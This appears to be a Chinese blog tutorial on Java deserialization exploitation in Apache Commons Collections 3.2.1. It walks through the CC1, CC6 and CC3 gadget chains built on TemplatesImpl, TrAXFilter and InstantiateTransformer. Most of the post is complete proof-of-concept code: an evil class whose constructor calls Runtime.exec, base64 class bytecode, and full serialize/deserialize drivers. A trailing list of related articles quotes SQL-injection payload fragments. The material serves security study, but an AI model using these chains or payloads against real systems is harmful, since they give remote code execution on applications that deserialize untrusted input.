当前位置: 首页 > news >正文

java反序列化学习之CommonCollections3利用链的学习

一、前言

在前文中,我们学习了Java的类加载过程,类加载器以及Java中加载字节码的一些方法,其中介绍了TemplatesImpl,TemplatesImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器。 那么,在反序列化的漏洞,能否利用这个特性执行任意代码呢?

二、回顾CC1和CC6

在CC1的利用链中,TransformedMap 是在写入的 时候执行 transform,其中利用点是通过 sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法达到写入的目的,从而执行transform;  LazyMap则是在其get方法中执行 factory.transform,但是 sun.reflect.annotation.AnnotionInvocationHandler#readObject方法并没有直接调用get方法,而是在其invoke方法中有调用,故而用到了Proxy代理方式实现在readObject时调用invoke,达到执行transform的目的。

但是在CC1链中,因为在Java 8u71之后的版本改动了sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法,不在直接使用发序列化后得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值加进去,所以我们精心构造的Map不在执行set或put操作,也就不会触发RCE了。

1、使用TemlatesImpl 构造 CC1链

环境信息:
java 7u61

commons-collections 3.2.1

我们先回忆下 CommonCollections1的利用链 ,当时可以利用TransformedMap执行任意Java方法

CommonCollections1.javapackage com.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

而在上一节 java动态加载字节码的学习中, 我们又学习了如何利用TemplatesImpl执行字节码

public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.javabyte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +"DwABABAAAAACABE=");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());obj.newTransformer();

只需要结合这两段POC,即可很容易的改造出一个执行任意字节码的CommonsCollections 利用链: 只需要将第一个demo中的 InvokerTransformer 执行的方法 改成 TemplatesImpl#newTransformer()  即可:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
};

完整POC如下:

evil.java  //用于生成evil.class 类文件import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}

com.vulhub.Ser.TemplatesImplToCC1.javapackage com.vulhub.Ser;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class TemplatesImplToCC1 {public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, Value);}//读取文件字节流,赋值给 TemplatesImpl#_bytecodespublic static byte[] readClassFile(String filePath) throws IOException {Path path = Paths.get(filePath);return Files.readAllBytes(path);}public static void main(String[] args) throws Exception{//source: bytecodes /evil.javabyte[] code = readClassFile("D:\\java\\test\\evil.class");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj,"_name", "evil");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null,null),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object objAnonotion = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(objAnonotion);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

我们分析一下为什么可以这么构造。 在学习CC1链的文章中,我们了解到其核心原理就是InvokerTransformer#transform ,可以执行任意方法。 在java类加载的学习中,我们了解到 TemplatesImpl 加载字节码 的调用链 中用到了 TemplatesImpl#newTransformer() 。 那么我们cc1链中的 exec方法改造一下,换成newTransformer() 方法,这样就组成了一条 TemplatesImpl版的 CC1利用链 ,LazyMap利用的payload就省略不写了,参照之前的POC。 但是,因为还是CC1链,用到的还是sun.reflect.annotation.AnnotationInvocationHandler类,所以依旧限制在8u71之前才能使用。

2、使用TemplatesImpl 构造 CC6链

环境信息:
java 1.8.0_261

commons-collections 3.2.1

上一章中,因为使用的是cc1链,受限于jdk版本,故而其实这里我们也可以用 TemplatesImpl 构造一版 cc6链的poc。测试代码如下;

evil.java  //用于生成evil.class 类文件import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
TemplatesImplToCC6.javapackage com.vulhub.Ser;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class TemplatesImplToCC6 {public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, Value);}public static byte[] readClassFile(String filePath) throws IOException {Path path = Paths.get(filePath);return Files.readAllBytes(path);}public static void main(String[] args) throws Exception{//source: bytecodes /evil.javabyte[] code = readClassFile("D:\\java\\test\\evil.class");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj,"_name", "evil");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null,null),};Transformer  transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme,"valuevalue");outerMap.remove("keykey");setFieldValue(transformerChain,"iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}

三、为什么需要CommonsCollections3链呢?

在上述的说明中,TemplatesImpl可以用于构造CC1和CC6链,并且CC6链不受jdk版本影响,那为什么还需要CC3链呢?

我们可以再来看ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer原因是什么呢?

2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:

SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

这个黑名单中InvokerTransformer 赫然在列,也就切断了 CommonsCollections1和6的利用链。 ysoseria随后增加了不少新的Gadgets, 其中就包括 CommonsCollections3.

CommonsCollections3的目的很明显,就是为了绕过一些规则对 InvokerTransformer的限制。 CommonsCollections3并没有使用到 InvokerTransformer来调用任意方法,而是用到了另一个类, com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用(TransformerImpl) templates.newTransformer() ,免去了我们使用InvokerTransformer手工调用newTransformer() 方法这一步

当然,这里缺少了 InvokerTransformer, TrAXFilter 的构造方法也无法调用。所以我们需要找到一个地方,能实现调用 com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter  的构造方法。 那就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer 也是一个实现了Transformer接口的类, 他的作用就是调用构造方法。

所以,我们实现的目标就是,利用 InstantiateTransformer 来调用 TrAXFilter 的构造方法, 再利用其构造方法里的 templates.newTransformer()  调用到 TemplatesImpl 里的字节码。

CommonsCollections3利用链poc示例:

环境信息:
java 1.8.0_261

commons-collections 3.2.1

evil.java  //用于生成evil.class 类文件import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
CommonCollections3.javapackage com.vulhub.Ser;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CommonCollections3 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static byte[] readClassFile(String filePath) throws IOException {Path path = Paths.get(filePath);return Files.readAllBytes(path);}public static void main(String[] args) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj,"_bytecodes", new byte[][]{ readClassFile("D:\\java\\test\\evil.class")});setFieldValue(obj,"_name","evil");setFieldValue(obj,"_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] {Templates.class},new Object[]{obj})};Transformer  transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme,"valuevalue");outerMap.remove("keykey");setFieldValue(transformerChain,"iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

相关文章:

java反序列化学习之CommonCollections3利用链的学习

一、前言 在前文中,我们学习了Java的类加载过程,类加载器以及Java中加载字节码的一些方法,其中介绍了TemplatesImpl,TemplatesImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字…...

超详细:Vue入门

Vue(发音为 /vjuː/,类似 view)是近些年比较流行的前端框架之一,和 React、Angular 并称为前端三大框架。其中 Vue 简单易学的特点成为国内主流,很多公司已经把它列为一 个前端开发人员必须要掌握的技术点了。 Vue 简介 Vue2.x官网 Vue3.x …...

基础网络安全知识

1.ctfhub技能树 1.1 Web-SQL注入 Web-SQL注入-整数型 && 字符型 && MySQL结构 参考:5.9.6MySql注入 Web-SQL注入-报错注入 step1: 查库名 ?id1 and extractvalue(1,concat(0x7e,database(),0x7e))-- step2: 查看表名 ?id1 and extractvalue(1…...

大语言模型工作原理笔记

大语言模型工作原理笔记 一、词向量:表示语言的方式 大语言模型使用词向量来表示单词,每个词向量是由一串数字组成的列表,代表词空间中的一个点。词空间中,含义相近的词位置更接近,例如"猫"的词向量会靠近…...

安全工程师入侵加密货币交易所获罪

一名高级安全工程师被判犯有对去中心化加密货币交易所的多次攻击罪,在此过程中窃取了超过 1200 万美元的加密货币。 沙克布艾哈迈德(Shakeeb Ahmed)被判刑,美国检察官达米安威廉姆斯(Damian Williams)称其…...

使用Docker-Compose安装redis,rabbitmq,nacos,mysql,nginx,tomcat,portainer组件教程

因为开发经常会用到一些组件,又不想在本地启动,所以买了个服务器,然后将这些组件都安装到服务器上以便开发使用。下面就记录下使用docker-compose安装组件的教程以及一些需要注意的地方。 关于docker和docker-compose的安装在另一篇博客中有…...

lora训练模型 打造个人IP

准备工作 下载秋叶炼丹器整理自己的照片下载底膜 https://rentry.org/lycoris-experiments 实操步骤 解压整合包 lora-scripts,先点击“更新” 训练图片收集 比如要训练一个自己头像的模型,就可以拍一些自己的照片(20-50张,最少15张&…...

mybatis+postgresql,无感读写json字段

1.实体类中字段类型 import com.alibaba.fastjson.JSONObject;Data public class TestDto {private String name;//对应数据库的JSON字段private JSONObject page_detail;} 2.自定义实现typeHandler package base.utils;import com.alibaba.fastjson.JSONObject; import org…...

苍穹外卖学习记录

苍穹外卖学习 文章目录 苍穹外卖学习知识前提&#xff1a;**<font color"red">Nginx****<font color"red">Swagger** 1.管理员登录思路&#xff1a;详细步骤&#xff1a; 1.1新增员工问题1&#xff1a;在新增员工时&#xff0c;需要将当前登录…...

大数据成功应用商业解决方案的例子

大数据技术在商业领域的广泛应用已经成为现代商业决策和运营优化的关键驱动力。企业利用大数据分析获取洞察&#xff0c;从而提高运营效率、改善客户体验并实现更高的盈利。以下是几个典型的成功案例&#xff0c;这些企业通过大数据技术在各自领域中取得了显著的成果。 亚马逊…...

《Python使用sqlite3数据库》

《Python使用sqlite3数据库》 1、连接数据库2、创建游标3、执行SQL语句4、提交更改5、查询数据6、关闭连接 Python可以使用多种数据库&#xff0c;以下是一般步骤和示例&#xff1a; 1、连接数据库 首先要安装对应的数据库驱动。如使用MySQL数据库&#xff0c;要安装pymysql库…...

XHCI 1.2b 规范摘要(14)

系列文章目录 XHCI 1.2b 规范摘要&#xff08;一&#xff09; XHCI 1.2b 规范摘要&#xff08;二&#xff09; XHCI 1.2b 规范摘要&#xff08;三&#xff09; XHCI 1.2b 规范摘要&#xff08;四&#xff09; XHCI 1.2b 规范摘要&#xff08;五&#xff09; XHCI 1.2b 规范摘要…...

(蓝桥杯C/C++)——基础算法(下)

目录 一、时空复杂度 1.时间复杂度 2.空间复杂度 3.分析技巧 4.代码示例 二、递归 1.递归的介绍 2.递归如何实现 3.递归和循环的比较 4.代码示例 三、差分 1.差分的原理和特点 2.差分的实现 3.例题讲解 四、枚举 1.枚举算法介绍 2.解空间的类型 3. 循环枚举解…...

详解Rust标准库:VecDeque 队列

theme: github highlight: an-old-hope 查看本地官方文档 安装rust后运行 rustup doc查看The Standard Library即可获取标准库内容 std::connections::VecDeque定义 队列是遵循先入先出规则的线性数据结构&#xff0c;在内存中不一定连续 VecDeque定义&#xff1a;可增长…...

网络协议都有哪些?

网络协议是为计算机网络中进行数据交换而建立的规则、标准或约定的集合。以下是一些常见的网络协议&#xff1a; TCP/IP协议&#xff1a;传输控制协议/因特网互联协议&#xff0c;又名网络通讯协议&#xff0c;是Internet最基本的协议、Internet国际互联网络的基础。由网络层的…...

非公平锁和公平锁的区别

公平锁&#xff08;Fair Lock&#xff09;&#xff1a; 公平锁遵循 FIFO&#xff08;先进先出&#xff09;原则。当多个线程在等待锁时&#xff0c;公平锁会确保等待时间最长的线程优先获得锁。 这种锁机制可以避免线程饥饿&#xff08;starvation&#xff09;&#xff0c;即某…...

11月7日星期四今日早报简报微语报早读

11月7日星期四&#xff0c;农历十月初七&#xff0c;早报#微语早读。 1、河南&#xff1a;旅行社组织1000人次境外游客在豫住宿2夜以上&#xff0c;可申请激励奖补&#xff1b; 2、主播宣称下播后商品恢复原价构成欺诈&#xff0c;广州市监&#xff1a;罚款5万元&#xff1b;…...

【Python】轻松实现机器翻译:Transformers库使用教程

轻松实现机器翻译&#xff1a;Transformers库使用教程 近年来&#xff0c;机器翻译技术飞速发展&#xff0c;从传统的基于规则的翻译到统计机器翻译&#xff0c;再到如今流行的神经网络翻译模型&#xff0c;尤其是基于Transformer架构的模型&#xff0c;翻译效果已经有了质的飞…...

【数据集】【YOLO】【目标检测】道路结冰数据集 1527 张,YOLO目标检测实战训练教程!

数据集介绍 【数据集】道路结冰数据集 1527 张&#xff0c;目标检测&#xff0c;包含YOLO/VOC格式标注。数据集中包含2种分类&#xff1a;“clear_road, ice_road”。数据集来自国内外图片网站和视频截图&#xff0c;部分数据经过数据增强处理。检测范围监控视角检测、无人机视…...

Java链表及源码解析

文章目录 创建一个ILindkedList接口创建方法(模拟实现链表方法)创建MyLinkedList来实现接口的方法创建链表节点addFirst方法&#xff08;新增头部属性&#xff09;addLast方法&#xff08;新增到末尾一个属性&#xff09;remove方法&#xff08;删除指定属性&#xff09;addInd…...

谷歌浏览器插件

项目中有时候会用到插件 sync-cookie-extension1.0.0&#xff1a;开发环境同步测试 cookie 至 localhost&#xff0c;便于本地请求服务携带 cookie 参考地址&#xff1a;https://juejin.cn/post/7139354571712757767 里面有源码下载下来&#xff0c;加在到扩展即可使用FeHelp…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力

引言&#xff1a; 在人工智能快速发展的浪潮中&#xff0c;快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型&#xff08;LLM&#xff09;。该模型代表着该领域的重大突破&#xff0c;通过独特方式融合思考与非思考…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序

一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...

[Java恶补day16] 238.除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂度…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

mac 安装homebrew (nvm 及git)

mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用&#xff1a; 方法一&#xff1a;使用 Homebrew 安装 Git&#xff08;推荐&#xff09; 步骤如下&#xff1a;打开终端&#xff08;Terminal.app&#xff09; 1.安装 Homebrew…...

c++第七天 继承与派生2

这一篇文章主要内容是 派生类构造函数与析构函数 在派生类中重写基类成员 以及多继承 第一部分&#xff1a;派生类构造函数与析构函数 当创建一个派生类对象时&#xff0c;基类成员是如何初始化的&#xff1f; 1.当派生类对象创建的时候&#xff0c;基类成员的初始化顺序 …...